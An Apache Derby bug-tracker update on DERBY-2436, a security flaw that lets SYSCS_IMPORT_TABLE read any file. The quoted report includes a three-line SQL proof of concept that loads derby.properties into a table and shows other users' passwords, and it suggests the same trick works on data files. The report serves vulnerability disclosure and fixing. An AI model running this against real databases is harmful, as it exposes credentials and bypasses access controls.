Kathey Marsden updated DERBY-2436:
----------------------------------

              Urgency: Urgent
    Affects Version/s:     (was: 10.3.0.0)
                       10.1.2.1
                       10.2.1.6

Changing affects version to 10.1 as I was able to reproduce the issue there.  
This seems like quite a big hole.  Should it be a blocker for 10.3 since we are 
billing security improvements?   Does anyone have plans to fix?  As soon as we 
get a fix I would be willing to backport to 10.1/10.2 and notify the user 
community.

>             Project: Derby
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 10.1.2.1, 10.2.1.6, 10.3.1.0
>            Reporter: Daniel John Debrunner
>            Priority: Critical
>
> There are no controls over which files SYSCS_IMPORT_TABLE can read, thus 
> allowing any user that has permission to execute the procedure to try and 
> access information that they have no permissions to do so. E.g. even with the 
> secure-by-default network server I can execute three lines of SQL to view to 
> contents of derby.properties, thus seeing passwords of other users, or the 
> address of the ldap server.
> create table t (c varchar(32000));
> CALL SYSCS_UTIL.SYSCS_IMPORT_TABLE(NULL, 'T', 'derby.properties', NULL, NULL, 
> 'ISO8859_1', 0);
> ij> select * from T;
> C
> ----------------------------------------------
> derby.connection.requireAuthentication=true
> derby.authentication.provider=BUILTIN
> derby.user.SA=sapwd
> derby.user.MARY=marypwd
> Also a similar trick could be attempted against the actual data files, 
> allowing a user to attempt to bypass grant/revoke security, especially no 
> that binary data can be exported/imported.
